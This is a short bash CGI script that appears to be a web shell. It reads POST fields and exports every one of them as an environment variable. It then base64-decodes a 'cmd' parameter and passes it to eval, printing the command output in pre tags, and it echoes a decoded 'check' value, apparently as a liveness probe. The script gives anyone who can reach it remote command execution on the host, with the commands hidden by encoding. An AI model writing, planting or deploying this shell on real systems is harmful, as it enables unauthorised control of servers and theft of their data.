#!/bin/bash
echo -e "Content-type: text/html\n\n"
function cgi_get_POST_vars(){
    [ "$REQUEST_METHOD" != "POST" ] && return
    [ ! -z "$QUERY_STRING_POST" ] && return
    [ -z "$CONTENT_LENGTH" ] && return
	read -N $CONTENT_LENGTH QUERY_STRING_POST
    return
}
function cgi_decodevar(){
    [ $# -ne 1 ] && return
    local v t h
    t="${1//+/ }%%"
    while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
        v="${v}${t%%\%*}"
        t="${t#*%}"
        if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
            h=${t:0:2}
            t="${t:2}"
            v="${v}"`echo -e \\\\x${h}`
        fi
    done
    echo "${v}"
    return
}
function cgi_getvars(){
    [ $# -lt 2 ] && return
    local q p k v s
    case $1 in
        GET)
            [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
            ;;
        POST)
            cgi_get_POST_vars
            [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"
            ;;
        BOTH)
            [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
            cgi_get_POST_vars
            [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"
            ;;
    esac
    shift
    s=" $* "
    while [ ! -z "$q" ]; do
        p="${q%%&*}"
        k="${p%%=*}"
        v="${p#*=}"
        q="${q#$p&*}"
        [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \
            export "$k"="`cgi_decodevar \"$v\"`"
    done
    return
}
cgi_getvars POST ALL
query=$(echo $cmd | base64 --decode)
echo $(echo $check | base64 --decode)
echo -e "<pre>\c"
eval ${query}
echo -e "</pre>\c"